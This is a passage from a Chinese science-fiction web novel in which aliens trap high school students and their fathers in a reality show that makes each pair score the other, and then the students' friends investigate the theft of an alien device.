怎么跑下台?康烁影逃过,窗户和侧门现在封着吗?她从来没去过阳台,那里离地面近吗?跳下去能摔死还好,要是骨折了跑不动被人围观可惨了。她最好踩着车顶,最好世界毁灭……
这一切想法都在几秒中闪过。她心乱如麻,手却麻木地举起话筒:“亲爱的……”
窗户被打开了。
离地面数十米远的窗户,打开了。
一块荧光绿色的东西爬进来。
它的体型巨大,一瞬间就横跨整个礼堂。形态介于固体和液体之间,有大量将滴未滴的锥型粘稠物像爬山虎般挂在上面,那些粘稠物十分灵活,自如地甩动身躯,散发出一种令人喉咙发紧的刺鼻气味。
事情是在一瞬间发生的。荧光绿像一个抓娃娃机的爪子,被它粘上的人会像胶水黏住的纸片般无法动弹,继而被包裹进一个巨大的茧状物体中,很快,全礼堂的人都被裹了进去。
张晓怡平静地看着那东西,甚至有一丝快乐。她虔诚地想:
这不小学小卖部的粘粘手吗?
快乐是短暂的,痛苦如影随形。张晓怡脱离现实社会不到十秒,脚就接触到地面,她发现自己在一个逼仄的小房间里。
房间的墙壁明显是某种复合材料,房顶低矮,至多两米。四周没有门和观察外界的窗,显然不能偷偷跑出去。她正对面的墙是透明材质,那里能清晰地看见一个布局和她轴对称的房间。
她爸爸坐在里面,迷迷糊糊地抬起头左右观察,感觉观察不出来啥,于是从烟盒摇出根烟叼在嘴里,一手护烟一手打火。食蚁兽的舌头如何从蚁窝里卷出蚂蚁,他一探一缩的脖子就如何攫取火焰。
两人面前都有一张铺着白色桌布的长桌,桌边几乎顶着房间的两侧墙壁。桌上摆着五个上圆下方的打分牌,1到10都在这里。
与此同时,其他同学也身处相同的情况中,尖叫声此起彼伏。房间之间的隔音效果很差,所以听起来更加混乱了。
这时,房间外传来巨大的声音。
“全体生物们好!这里是《是财迷就下一百层》节目组,相信大家都发现对面是你们的血肉至亲,但是至亲之间也会有许多不可调和的矛盾。下面请大家互相为对方打分,可以商量!如果分数相同,那么每人可以获得两千块的奖金!如果分数不同……那你们就要被永远地困在这了!打分机会只有一次!请大家珍惜!桀桀桀桀……”
声音桀桀桀地远去了。张晓怡人生第一次知道,原来桀在笑的时候发“hia”的音。
《是财迷就下一百层》,宇宙里一个知名的缺德娱乐节目。但凡在场众人对星际文明有一星半点的了解,也不至于在此时惊惶不安。可惜大家对此一无所知。
它一开始是一个完全的自由频道,性质类似于网络主播在账号里做的系列节目。主播绰匆巴·佐·青稞——现在是导演——是一个藤发人,来自匆巴家族,这个家族负责一个小有名气的媒体“前线报社”,唯一以媒体身份跻身都兰联合的组织。
匆巴家族准确来说不能算是家族,藤发人根本不在乎血缘,伊们一开始就是随便抓一把寄生植物往别的生物脊髓里一塞,大家不是无亲无故的野人,就是以地域论亲属。进入文明社会的藤发人也只不过是精挑细选了植物品种而已。而匆巴家族是一个进入人类社会的藤发人家族,身无长处的伊们很快找到了赚钱的不二法门:吹牛。
吹牛要去哪里呢?
无良媒体。
可世界上那么多无良媒体,那么多爆炸性新闻,伊们要如何竞争?匆巴家族一顿商量,当场决定:吸引眼球已经过时了,这年头需要的是真诚的吸引眼球。如果一件事看起来又有话题又真实,岂不是在道德和营销上双双占据高地!
碧破女士有言:世界是个大舞台。古人又言:现实比虚构更荒诞。匆巴家族一口气扎进荒诞的现实里卧薪尝胆慧眼识珠。通过煽动性的语言和无可置疑的调查记录,最后竟然把真相卖了个好价钱!
但进入都兰联合的原因是:伊们是藤发人。
这个称呼带有一些人类中心主义色彩。其实藤发人可以寄生灵肉、普通动物和植物,技术革新后寄生迁氧也不再是个难题,所以伊们随时可以变换身份。为了在下一次移植后不要变成弱势种族,伊们最好还是保证种族平衡和宇宙和平。
从此,最公正、最权威、最刚正不阿的媒体诞生了。伊们公正甚至不是因为神圣的真相,而是因为真相卖得最好。什么?有人觉得真相卖不出价钱,那一定是摆错了态度。这玩意儿不是用来启发民智的,是来赚钱的啊!
生活在这样的族群里,青稞完全掌握了煽动和刺探热点的技巧。虽然伊完全可以混吃混喝一辈子,但伊有远大的理想。
凭借藤发人与生俱来的低道德感和家族难以匹敌的财力,伊的恶作剧频道花活频出,但最后都能以丰厚的奖金以示歉意。属于观众爱看、入镜者爱参与、伊本人爱赚钱的无敌良性循环。
频道很快成为最受欢迎的“节目”之一,剔除僵尸粉关注人数也冲过千亿。伊也彻底退居二线,成为了熟练的幕后导演。
如今情报传递失误,伊丝毫不慌,毕竟是家族在都兰联合有产业的人,伊深知现代官僚主义的不靠谱,这种事常有发生。伊立刻组织调度现场所有工作人员:分析地形、场景、人物性格,表达的感情和环境描写的用处。
工作人员一通操作:“人类智人爬行文明,有大量幼体,大概率是某种集会,大家看起来都很不开心,只有站的最高的光光头情绪激动……嗯对的灼灼娜,帮我给重力学老师打零分,我又挂科了。”
青稞略一思忖:“爬行文明……那看起来钻隐者星系团的空子让自己和星系结婚和原始鸽子的宗教实验都不能完成了……你还有什么信息吗?”
“智人幼体均与一位雄性成年体相邻而坐,虽然动作不够亲密,但是面部分析有相似之处,推测是亲子集会……历史学老师也打零分,让它被辞退吧!期末考试我填灵肉诞生的原因是基因实验,它居然跟我说历史书更新了,正确答案是岗位竞争?去死吧它!”
“还有别的吗?”
“没有了,导演……哦量子力学老师不用,他上课让带寰宇匣蒙题,是个好人,打个满分吧!”
青稞福至心灵:“你叫什么名字?正在干什么?”
“几珠·尔玛卡。实习生。刚考完期末考试,正在给无良老师打分。”
“没人问你这些!你告诉我,如果当着老师的面打分你会怎么样?”
“很尴尬。我就只是在屏幕后面逞强一下而已,导演,别不给我盖实习章。”
青稞两手一拍,哈哈大笑:“就要这个效果!”
“您诚心不给我实习章?”
“不!打分!面对面打分!像街头打分一样给自己的亲人打分!”青稞魔怔地念念叨叨,“家庭关系,伦理的冲击。面对面谈话,再加上一些人性的考核……好!就要这样!”
伊大手一挥,移动摄影棚立刻降下大量气溶脂材料,没有智慧的弱人工智能们像搭积木似的,东一块西一块把它们在操场上拼好,然后把倒霉学生和他们的父亲从窗户里夹出来扔进去,最后盖上房顶。完成!
“导演,我实习章……”
青稞没有理他,伊陶醉地欣赏自己的速建避难所。
实习生咬牙切齿。
场外的智械正在热情洋溢地通过讯传直播。信号从摄影棚传播到都兰联合驻太阳系停机坪,又从都兰联合通过量子传播瞬时传递到星际文明的领地。千家万户的讯传里,出现了一张张扭曲的脸。
张晓怡的父亲隔着复合材料跟旁边房间的男人聊天。他们本来还有些慌张,在意识到这是综艺节目后冷静下来。
张晓怡的父亲说:“科技已经发展到这种程度,我们国家真是日新月异啊!”
康烁影的父亲也大笑:“军备竞赛我都不知道该怎么输。超英赶美就在今天!我回家就去买股票!”
“老哥你买的哪支股票给我参考下。”
“xx证券,虽然最近一直在赔但早晚会涨……”
而康烁影轻轻敲了敲墙壁。
“张晓怡?”她压低声音,“听得见吗?”
对面传来含糊不清的回答:“嗯。”
“我要跑路。”康烁影道,“他事后肯定要说我不懂感恩。”
“你不要奖金了?”
康烁影强忍心痛:“为了防止我自己后悔,我悄悄把一分牌子举起来了。”
两人商量之际,响亮的中性声音在速建房里通过固体传播:“叮咚!230号房孩子高举打分牌子,给父亲打分十分!”
打分是有声音的?
那就说明刚才康烁影的举牌没有通过。应该是撤得太快了,连机器都判定不算。
父亲们如梦方醒,纷纷开始举牌,一时用嘴读出来的生硬“叮咚”不断。
面对她爸爸的催促,康烁影迟迟不愿意举牌。桌布在她手下扯出褶皱,身体不由自主地发抖。她害怕那个人会打破玻璃冲向她,会用伦理的鞭子抽打她,会用咆哮撕碎她。她相信自己直到三十岁,六十岁,九十岁,还是会像今天这样颤抖。
她的父亲抽烟、喝酒,会说妈妈没用,会说她妖里妖气。他高兴的时候会捧着她的脑袋说她是最好的礼物,用这张脸微笑的他也会突然因为一道菜太咸而砸碎盘子。
恐怖的是,在她的生活中,几乎所有人的父亲都是这样,甚至连她父亲的父亲都是这样。从一栋灯火通明的楼望进去,每一扇窗户后都有一个这样的父亲。一扇扇窗户组成一栋栋楼,一座座城市,一个个地区。几乎每家都蛰伏着一个这样的怪物。
她的爸爸困惑地看着她。他看不太清楚女儿的表情,只是单纯奇怪。按道理来说,他这个女儿不听话、成绩一般、长得只能算是中等偏下,还打扮得像是那种发廊妹。这样的女儿其实只能得六分。但他给足了康烁影面子,打出了十分的高分,她为什么还不与他配合,拿到两千块钱呢。
他高声呼唤:“烁影,别磨磨唧唧了!”
康烁影没有动弹。
“快点,吃不吃饭了?”
康烁影沉默不语。
“聋了是不是?”
康烁影豁然起身,高高举起手里的牌子。
最低分:1分。
玻璃对面的桌子轰然倒地,打分牌的细端在鞋底清脆折断,拳头重重地敲打玻璃。即使做好了心理准备,康烁影还是一个激灵。
“混账!”对面的人咆哮,“不知感恩的东西!”
“你做了什么需要我感恩的事!”康烁影怒吼,“打我妈?骂我?下班回来抽烟?你来接过我哪怕一次吗?知道我第一次和谁谈恋爱吗?知道我爱吃什么菜吗?”
“我没有出钱养你吗?就是让你吃太饱了,你才能对你爸爸说出这种混账话!”
“你应该的!这是你的责任!你要是不出钱,你就会被抓进监狱!是我逼你生我的吗?你就不应该生我,你为什么要生我!”
“我要是知道你是这种伤天害理的白眼狼,当初就应该掐死你!”
“你掐吧!你有本事杀了我!你快杀了我!我宁愿死也不要当你的女儿!!!”
两个人吼得声嘶力竭,头昏脑胀。玻璃对面的男人靠着玻璃坐下了,他气喘吁吁,喉咙里发出难言的咕噜声,整个身体仿佛煮熟的面条般瘫软。
片刻的宁静似乎终于让他从歇斯底里里抽身,可以稍微思考一下。他挑到发际线的眉毛平稳降落回眼皮上,整张脸难过地向中间聚拢:“孩子,爸爸不该对你说这些话。”
“爸爸刚才太激动了……还是爱你的,只是不知道怎么表达……”
他抬起头看着自己长大的女儿,柔情似水:“你愿意给爸爸一个机会吗?”
康烁影蠕动嘴唇。
“你说什么?”
康烁影一字一顿:“你,去,死!”
男人的脸扭曲了。康烁影坚信自己未来的梦魇就是这个场面。对面的人不断抛出肮脏的痛骂,康烁影能做到的就是用尖利的声音划破他天罗地网的指责。
“你去死吧!去死吧!所有说不会表达爱的人都去死吧!我喜欢张晓怡柳令全我就想跟她们拥抱,我喜欢刘征兰颜阎我就想跟她们说话,我喜欢谁就带谁去吃我喜欢的店,我喜欢谁我就想给谁买礼物,我喜欢谁就希望谁快乐。你呢?你呢?感受不到就是没有,不让我知道就是没有!你只感动了你自己!你去死吧!”
康烁影感觉不到自己的手和脚,全凭长桌站着,她从未清晰地感觉到空气里百分之七十八是氮气。眼睛像翻了个一百八十度的跟头,脑袋里的沼泽泼进体内,喉咙里有一股苦涩的腐臭味。她要死了吗?她要死了吗?
一阵莫名的响动。听起来象是人的声音,传到她脑海里却像握不住的水般流走。是谁?是什么?他进来了?那就进来吧,掐死她散伙。
死亡迟迟没有降临,她甚至还有空在脑子里
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幻想做鬼后就去《寻梦环游记》,等的人不耐烦了,捏了一把她的脸。
康烁影睁开眼睛,看到两个模模糊糊的影子。头上的袋子摘下来后,柳令全和张燕之赫然出现。
柳令全拎着桌布,挡住她对面的男人:“哟。”
张燕之把桌上的作业装回袋子里:“我们圆圆方方二人组来救你了。”
“你们怎么进来的?没有门啊?”
张燕之疑惑地看着她:“砸墙啊。隔音这么差,你一点也没怀疑过墙?”
左侧的墙上的确有一个巨大的洞,大概是柳令全一脚踹出,张燕之辅以装书袋子的流星锤攻击。从这个窟窿可以看出,墙的材料非常脆弱,比木板好不到哪去。
速建房的优点是轻便快捷。缺点是脆弱不隔音。事后有人觉得青稞采用这种材料就是为了达到这种暴力破门的效果,但无从证明。
这项举动让直播的在线观看人数飙升,弱人工智能快速产出精剪和内容解说,实况播放量也迅速超过五十亿。大家纷纷为康烁影的勇敢而喝彩,为圆圆方方二人组的机智而惊叹。
康烁影和两个人一拍即合,抬脚就去踹张晓怡那边的墙。
康烁影和她陷进墙里的腿先走一步,张燕之把布袋口扎紧,抡圆了砸开墙壁。柳令全举着桌布原地平移一马当先,不让家长们她们的脸。三个人齐齐回头看着张晓怡:“活着吗?”
张晓怡虚弱点头:“刚才光听老康吵架了。”
“走不?”
张晓怡摇头。
大家没法苛责她,她毕竟是全班公认的宋濂,为了这两千块啥都干得出来。
但柳令全还是想挣扎一下:“非得要这两千块吗?我省吃俭用,明年过年给你凑一个也行啊。”
“不是。”张晓怡释然般冷静,“我腿在下面绞得太紧,抽筋了。”
三个人由衷笑了。果然在爹面前莫名发抖害怕想逃跑是全世界统一的。大家帮她揉了一会儿小腿,扶着她一瘸一拐,破墙进入另一个房间。就这么一个个推下去,大半个班都被她们捞出来了。
这个打分游戏其实根本没有互相打分的必要,如果你想拿到钱,对面打什么你跟着打就好。为了维护家庭关系——至少是表面的家庭关系——大部分的爹都会举出十分到九分,而大部分的孩子都会回答:“你一分都不值!即使给我两万,我也不会说你是个好父亲!我绝对不说!”
让人不禁感慨爹的失职完全不能用妈妈的眼光不好来形容,感觉这是一个结构性问题什么的,有没有大学写这种论文啊?
家庭关系尚且不错的早就举完牌子出去领钱了,也有些人为了钱捏着鼻子认了,还有些听到了外面的骚动,拖拖拉拉耗时间,大部队一到就跟着跑。
不久后,破墙小组已经增加到四个,从各个方位全面搜索,暴动队伍也壮大到桌布都遮不住了。往往是领头的踹开一面墙,判断一下对面的表情,然后脑袋一歪:“走不?”
桌子后面的学生:“go!”
一群人就浩浩荡荡穿过房间去踹另一面墙,这个房间的学生自然而然融入其中。一群人欢声笑语你追我赶,不像是破墙穿行,倒像是在郊外春游。没有人在乎玻璃对面的父亲怎么说,这么多人在一起,没人会对他们感到恐惧了。也没有人思考节目组和打分的问题,就算思考也是在骂节目组不动点脑子搞这种恶心人环节。
而颜阎和刘征兰也没闲着,她俩就是四批破墙组之一,她俩也想到了暴力破解法。但她们的第一个敌人比较难缠。
坐在里面的学生是艺术家。
艺术家是个很没有艺术气息的女同学,本名叫赵木云,这个名字不如艺术家有记忆点,所以今后还是称她为艺术家。她整个人小而瘦,脸尖得瞥她一眼就会双眼流血。皮肤细腻,鼻子高挺,嘴角天生向下撇。但她有一双尤为大而灵巧的手,颜阎一直感觉她和鼹鼠姐妹能聊得来。
她坐在那里笑容满面的和她父亲说话,就是迟迟没有举牌。她父亲是个戴眼睛的瘦长鬼影,看得出来他有些不耐烦,比起女儿,两千块更吸引他的注意。但艺术家用“我们很少这么面对面谈心,我怕打了分出去你就不和我说话了”为理由把他拖住了。
“噗呲噗呲,噗呲噗呲。”颜阎在墙洞后招呼她,“跑路不?”
“不跑。”
“为啥?”
艺术家微笑的眼睛看着她对面的瘦长鬼影,下撇的嘴角蠕动着:“你别管我了,有些人是离开家庭就没人喜欢的。没有家庭我死定了。”
“你可以和小喇叭公冶长玩。”
“她能和我玩一辈子吗?”
“有何不可。”
艺术家歪头看着她,微微一笑,不动声色地向后挪动:“你快走吧。”
“真不走?”
“嗯,我没事的。总不可能真的把我们关一辈子,不用管我。”
颜阎和刘征兰越听越难过。颜阎冲上去扯掉桌布,一脚踢翻长桌,用膝盖折断打分牌。刘征兰用拳锋哐哐两下砸穿墙壁,又暴力横向撕开,给她们开出一个缝隙。
颜阎绕到艺术家身后,手臂穿过她腋下,从房间里把她拖出去。
艺术家拼命踢腿挣扎,而颜阎一边安慰她一边拖:“没事的,我们都懂。谁会喜欢自己爹啊。”
隔壁的是小喇叭,她目瞪口呆地看着三个人破墙而出,还没来得及震撼,艺术家就从地上爬起来,用尽全力把颜阎推到墙上:“都怪你!”
刘征兰赶紧去拽颜阎,让她没有摔到桌子上。
“……难不成你和你爹关系好?”
“不是!”艺术家愤怒得有些失去理智,整张脸都变得通红,“混蛋!谁像你俩一样享受没爹生活啊!我要回家的,我还要坐他的车跟他一起走!我还要跟他在一张桌子上吃饭!本来拖过去就好了,现在好了,他知道我烦他了,他回去又要发火!你倒是爽了,那我呢?你去替我挨骂吗?”
“……那你明说啊!偷偷跟我说也行!干嘛一定要装作想走不敢走!直接说不想走怕挨打好了!”
“我一定要把什么事都告诉你吗?我就不能羞于启齿吗!你完全没考虑过我以后要怎么生活!我才高二啊!我还有一年,这整整一年都要和他生活,你让我怎么度过这一年!”艺术家泪流满面地将小喇叭打分牌拍到颜阎脸上,夺门而去。
颜阎莫名其妙挨了骂,眼睛里也有点出泪。刘征兰不会安慰人,只能拍着她的肩膀说没事没事。小喇叭同情地从口袋里给她抽纸让她擦擦。
“那还踹墙不?”刘征兰问。
颜阎用胳膊一抹眼泪:“踹!她一个不领情,还有别的人呢。”
“别哭了。”小喇叭还在抽纸,“纸不够了。”
“我胳膊上有汗,眼睛沙的慌。”
“听不懂,你能不能说普通话。”
“被汗刺激了。不是哭的ok?”
“ok,ok。”
71.高中生在高三前丢失了超能力
整个速建房并不是一排一排,而是弯弯绕绕的漩涡形,当走到最外围的尽头,会看到一个三个房间大小的空房间,走到空房间的尽头,再踹,就能打通另一面连接学生那一侧的门。
四个破墙队在速建房的各处会和,变成了一只巨大无比的游行队伍,大家像挤在下操之后的楼梯间,说笑、搭肩、参观玻璃后的爹。
最后一个房间是迷宫的最中央,它被安排给了甘忘营。大家踹墙而入,正欲救人,却看见她屁股离开座位,蹲在玻璃前,拿着全班的月考排名表说小话。她爸爸是一个橄榄色皮肤的精瘦男人,也屈腿坐在玻璃旁边,跟她有说有笑地聊天。
看到同学们破门而入,她尴尬地收起排名表,假装什么也没有发生,转头跟她爸爸挥了挥手:“爸,我们走了!”
她爸爸跟同学们挥手:“哈喽,胖胖的同学们,大家好哇!谢谢大家跟我女儿玩!祝大家吃好,玩好!”然后又转向甘忘营,跟她打了个响指,“去吧,好好学习好好玩!”
“爸,你忘了!打分!”
“哦哦!”她爸爸跑回桌子前,拿起打分牌,毫不犹豫地举起那个十分的牌子,“爸永远爱你,你是最好的女儿”
“我也爱你!”甘忘营双手在胸前比了个心,“你是最好的爸爸!”
她蹦蹦跳跳汇入同学们的队伍里,却没有一个人动弹。她抬起头左右看看:“怎么了?不出去?”
同学们神情怜爱:“看珍惜动物。”
“什么珍惜动物?”
“家庭幸福的小孩。”
甘忘营大笑。
此时的青稞已经从这数百人里剪出几十个精彩片断。康烁影的控诉、艺术家的拖延、甘忘营的洒脱,配以字幕和精妙的镜头切换,所有情绪一览无余。本期爆点连连,关键词有原生家庭、代际沟通、同学矛盾、消极自由、表达的歧义。光是讨论艺术家和颜阎谁对谁错就能刷出七八个讨论群。幸好颜阎提前知道情况,戴着口罩进来的,不然她必然坐呼叫中心逃进黑洞。
正当伊美滋滋地观察数据试图变现,门外“咣啷”一声。伊还以为学生砸到天上来了,抬头一看,四五个生物踹门而入,身上均带着“铁链环绕石板”的纹样:“刻石人!你已违反爬行文明保护法,跟我们走一趟吧!”
游行队一扭一扭拐出速建房。此时摄影棚还在有效回收道具,有手机的学生们随手对着这个巨大方块拍了几张照片,后来这些照片和女生宿舍拍到龙、陆家嘴渡劫等事件一起成为著名都市传说之一。
大家都知道,这次小小的反抗没有任何用。情绪的宣泄过后,她们要和这些折磨她们的人走进同一个小区、同一栋楼、同一扇窗。大家苦中作乐地嘿嘿笑着,希望彼此能活下来。颜阎兴高采烈地提议把这次活动命名为“破墙游行”,没人理她。康烁影也说了一次,大家强烈支持。
离晚自习还有一段时间,老师校长不知道关在哪。谁都不想回家挨骂,大家无言地自动回教室自习。
考完这个期末考,他们就算是高三了。高考步步紧逼。
唯有甘忘营几人在那里问天:“钱呢?钱呢?”
刘征兰说:“我帮你们去要。”
呼叫中心不知道被康烁影放到哪里了,她在那边乱翻。颜阎和刘征兰只好以出去步行到莫妮卡杂货店。
律易棋、弃首和铃铛都在这里,三个人都满脸幸灾乐祸,一副乐见单位出岔子的阴险嘴脸,铃铛倒是多了几分怕被领导发现的不安。
颜阎手一伸:“说好的两千,钱呢?”
铃铛往旁边让了一步,意思是这事不归她管。
弃首在旁边把手一拍:“贪啦!”
铃铛大叫:“别这么直白!”
“这么跟你们说吧。”弃首笑容满面,“这次错误跳格子犯法了,但是这事儿吧,也有我们工作对接得不够好的责任。所以上下沆瀣一气,把这钱当封口费互相昧了。外面问就是:奖金肯定有的你看这里有交易记录,不然嘉宾肯定会告我们!实际上是两边互相转钱,并且仗着你们是爬行文明没法去起诉。”
太卑鄙了,听起来爬行文明像是他们的洗钱场一样。刘征兰冷冷道:“我要去告他们。”
弃首把手往身后递:“请。你怎么去?爬过去?”
颜阎刚想说空想文明的事,律易棋就在后面使劲儿掐她。她这才意识到这事不能外传,至少不能传给铃铛,于是赶紧闭嘴。
“总而言之,事情就是这么个事情。我来这儿呢,就是来干看人脸色的活。挨两句骂,然后补偿。”弃首看着她们,“你们骂够了没?”
看在她是律易棋朋友的份上,两个人都不太好意思骂,而且又不是她的问题。。
弃首吊儿郎当的表情一收,微微弯下腰,把手里的东西递过去。
那是一个盆栽,叶片在茎上螺旋上升,花骨朵饱满且有弹性。
“啥?”颜阎兴高采烈,“液体黄金?花朵作弊器?全自动食人植物?”
铃铛小声说:“抹沙字。”
“摸傻子干嘛?”刘征兰硬要讲冷笑话。
“精神药物的一种。”铃铛真的已经无地自容,显然也为宇宙文明感到丢脸,“记得把它摆在学校的楼梯口。它能让全校的人记忆模糊,分不清是梦还是现实。虽然直接抹除外星人降临的记忆很困难,但混淆知觉还是很简单的……”
“本来我会把这个当礼物送给你们聊表歉意,你们养着养着,花开了。彭,就会不记得自己今天经历的事是做梦还是真相了。”弃首眼睛一眨,“但你们是我的下线,所以能勉强保住记忆。我们干的就是这种缺德事。”
颜阎奋力从后现代笑话中挣扎出来,真心询问:“这节目非播不可吗?不能拖一拖,延期一下吗?”
戏谑神情从弃首的嘴角浮现:“理论上是可以的。”
“为什么实际上不行?”
“你得问领导层为什么爱看。”
“为什么?”
“轮得到你来问领导?”
颜阎重新被笑话淹没。
刘征兰的冷笑快要逼到弃首脸上:“那还专门来跟我们说一趟干什么?”
弃首举起双手投降:“他们坏他们坏,我作为外星生物来赔礼道歉。我都觉得太野蛮了,我替你们去骂他们。”
这种打趣的态度其实让人有点不高兴。但弃首对领导的嫌弃实在是太真心实意,任何打工人都会产生共鸣。更何况弃首说完这些就接到了返工通知,叹着气回去干活了。
铃铛只是个做善后的关系户,她的下属把操场上的建材全部拆除带走,重新放出老师校长,留了个电话就坐车走了。上车的时候,石头人巴莫魁为她打开后座车门,一个长相中性的人形生物坐在主驾驶位上。女孩子降下车窗,朝她们挥挥手,然后戴上墨镜,伴随着动次打次的音乐扬长而去。
“就不该同情关系户!”刘征兰如是评价。
晚自习前这点时间,颜阎跑回家吃了口晚饭。一边吃一边抱怨学校脑残,奶奶说怎么别人都不觉得烦就你觉得烦。颜阎腮帮子里塞满虾球,说话含含糊糊:“别人烦也不跟你说。只有你的孙女,愿意把学校的一切分享给你,这是信任,你明白吗!”
看妈妈的表情,她大概也觉得学校挺烦人。但是她身体不好,吃着饭一般懒得说话。餐桌上照常只有颜阎眉飞色舞抑扬顿挫手脚并用。吃完饭她拎起书包直奔学校,可是还是比上课铃晚到几步。
她一头扎进教室:“报告。”
刚被放出来的孔丘本来在跟学生们说些神秘节目组的闲话,看到颜阎进来气不打一处来:“大家都在自习,你干嘛去了?”
“回家吃饭。”
“谁让你回去的?”
“放学了肯定回家啊!门卫都放了。”
孔丘懒得和她争辩,把她放进教室。颜阎穿越过道的时候,艺术家瞪了她一眼,小喇叭双手合十为她祈祷。
晚自习第一节课结束,康烁影和刘征兰跑到她们班喊她。刘征兰脸色惨白,康烁影难得带上口罩,口罩两侧有一块深色的水渍,看不出来是眼泪还是汗水。
“怎么回事?”颜阎感觉不妙。
康烁影哽咽着说:“书包丢了。”
“什么丢了?”
“呼叫中心丢了。”
颜阎后撤数步,脚跟在门槛上一绊,整个人向后仰过去,后脑勺磕在讲台边上。
周围的人都怕她死了,赶紧过来扶她。而颜阎推开所有人,扯着刘征兰康烁影跑到人迹罕至的礼堂门口,又问了一遍:“什么丢了?”
“呼叫中心丢了。”
后脑一顿顿地疼,像是有个勺子从那里挖她的脑浆。耳朵里嗡嗡嗡像是有个发动机在响,眼前一片绿芯黄边的闪烁。
她还没有说话,刘征兰先撑不住,整个人扑通一下瘫倒下去。
她重复了一遍:“呼叫中心丢了。”
根据一直在教室玩一体机的陈彦邢的证词,在康烁影、刘征兰和颜阎都出门后,教室外面走进来一个成年男人,径直走到刘征兰的座位前,直接背走了她的绿书包,还对着教室里的同学们友善地笑了笑。
父亲节感恩大会前,有很多家长顺便拿走了家里孩子的书包让她们礼堂里写,所以没人觉得奇怪,甚至有人喊“叔叔好”。
颜阎跑去求飞飞和鼹鼠三姐妹。灵肉们看着坐在旁边一言不发的刘征兰,又看了看本来眼睛就没高光的颜阎(平时是困的,这次说不定),最后望向泪流满面咬着牙恳求它们的康烁影,灵肉们蹲在地上一通乱闻。
教室里的味道实在是太乱了,它们闻到了好几天不洗澡的高中生,好几种身体乳的致命混合,藏在暖气片里烤干的香蕉皮,还有蚂蚁们藏匿的几条荷氏。最后在集体配合中,它们终于找到一条不同寻常的信息。
很特殊的气味……大量金属?
飞飞沉思片刻,断言道:“智械。”
颜阎声音冷得掉冰碴子:“智械偷了呼叫中心……不对,不是偷,是堂而皇之走进来的。那肯定是外星生物了。”
三个人兵分三路,康烁影带领飞飞和鼹鼠们寻找气味的去向,颜阎让弓粟调监控,刘征兰找律易棋帮忙。
康烁影那边,灵肉们循着气味追出去,发现偷东西那死人一路大摇大摆出了校门走向后路,气味在路边莫名其妙就断了。飞飞稍微一思考,大叫:“坐车跑了!”
弓粟调出的监控显示,对方压根没有隐藏的意思,顶着个敦实的男人外皮进出自如,在学校里没有显示出一点异常。弓粟把学校外面小卖部的监控也调出来对比,发现这
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人一路走进没有监控和交通信号灯的后路,然后就不见了。
律易棋那边更慌,他听说呼叫中心不见了,当场就懵了:“这还能被偷?怎么知道的?这穷乡僻壤的还能遭贼惦记?”
“这就得问你们外星人了。”刘征兰面无表情。
“外星人和外星人不能混为一谈哈!”
“那你打算怎么办?”
“怎么办?那可是空想文明!叫人啊!”
车已经开到半道的铃铛又被叫回来,她一边让司机掉头一边喊:“早知道就不留个人电话了!”
失去了呼叫中心,三个人没法随时聚会,只好提前各回各家,打开手机拉了个群。律易棋发了个语音通话,被三个人齐齐挂断。
“你疯啦?”颜阎发来一个“指指点点”的表情包,“快高三了,半夜回家跟同学打电话?这样吧,你说话,我们打字。”
群里只有地球土著、暂时成为马英妹手机siri的弓粟和律易棋,弃首和律易棋连着飞箱。
颜阎问:“不是,智械怎么会知道我们有呼叫中心?”
弓粟说:“你们没有避开摄像头呀。”
女高中生没有这个技能!能避开人就不错人了,地球还专门有避开别人视线爬墙跳楼暗杀别人的小游戏呢。
一个滤镜拉满的女生背影头像发来一个瑟瑟发抖的表情,不用说也知道这是谁:“谁会特意翻小县城的监控?你们外星人怪癖真的很多。”
没事翻监控的弓粟感觉很委屈。
铃铛终于顶着夜色回到莫妮卡杂货店门口,一个急刹之下轮胎捡起水坑里的污水。可她顾不得这些,一路跑进杂货店:“什么空想文明什么跳格子的事?你手机上说的到底是什么?”
律易棋没来得及回答,她环绕一圈,非常受伤地叫起来:“你不是说都在这儿了吗?那个改造人呢?”
飞箱光幕里的弃首对她一眨眼。
“凭什么她不用回来我就要回来!视频通话不可以吗?”
“回来比较方便,谁知道你电话有没有被监听。而且她在停机坪,回来要跳格子。”
“那我呢?”
“你开车,回来就回来了。”
头像是背影的康烁影:“不对。等一下。”
“那个智械为什么一定是开车走的,不能是跳格子走的?”
弓粟的头像框下方的音量显示上升,唧唧声从里面冒出来:“大姐说,你太笨了她不想跟你说话,让我帮忙解释。后路有很多小饭馆、五金店、寿衣店,人流量不算少。在那个放学时间,很难有人在路边消失不被发现。但当时的气味确实断掉了,所以更有可能是坐车。”
“那说明它在地球常住。”刘征兰说,“不然可以直接跳格子。”
律易棋反对:“跳格子不是那么简单的东西!它是需要能量的,不是双手一指,哗啦就出现了。”
康烁影很了解生活:“退一万步讲,不是在地球常住,怎么会有车?”
“退一光年讲。”刘征兰很了解城镇,“我们这儿实在没什么出租车,只能手机打顺风。要是有手机,更能证明它在地球常住了。”
在地球常住地智械,那这算外星移民,应该归铃铛管。铃铛撅着嘴想了半天,然后蔫蔫地说:“好啦,我去帮你们……毕竟是空想文明嘛,事成之后要跟我细说哦。”
弓粟声音温柔:“我会继续帮你们排查其他地区的监控。”
颜阎发来一个狗狗落泪的表情包:“谢谢大家。这份恩情直到我死了都不会忘记的。”
铃铛被莫名其妙叫回来,开了个几分钟小会,就被颜阎的一句“感谢有你”轰回去了。她愣在原地,看看笑容满面的律易棋,又看看降下一半的卷帘门,嘴巴一撇,气鼓鼓地再次上了车。
地球高中生敢这么摆弄她,主要还是看出她脾气好。她也确实如此,回去之后就跟弓粟取得了联系。
由于地质浪漫团内部的成员素质略有参差,关于弓粟在逃的消息不胫而走。但玛丽基金会一年处理那么多舆情,不能兼顾所有,居然把这事当作都市传说放过去了。
铃铛是一个纯粹的关系户,对玛丽基金会没有任何责任和归属感可言,没有把弓粟上报的需求,只在彼此接通的瞬间问:“唉,你都电子生命了,能让我卡里莫名其妙多出点钱吗?”
弓粟微蹙眉头,笑着看她。
这表情像她家长辈。铃铛赶紧认错:“开玩笑的。”
弓粟和铃铛把周围的录像浅浅分析了一遍,最后锁定了一辆黑车。它在消防大队的监控里出现,向东开过去。
正好是放学时间,车流如织,它并不怎么显眼。但过了半小时,它又从学校东边的交通信号灯下穿过。那时家长们还被困在节目组里呢,更何况中间还有半小时的空白时间。
这辆车的轨迹很不对劲。弓粟把车牌号发过来,铃铛调用权限,想把车牌号和调查一下星际移民的登记车辆核对一下。
在她搜索的前一刻,办公室的大门打开了。
避开一切安保措施,畅通无阻地打开了。
巴莫魁摆动粗粗的小腿追上来,给她开车的司机更是直接拔出了脉冲枪。
而门口的人只是微笑着。
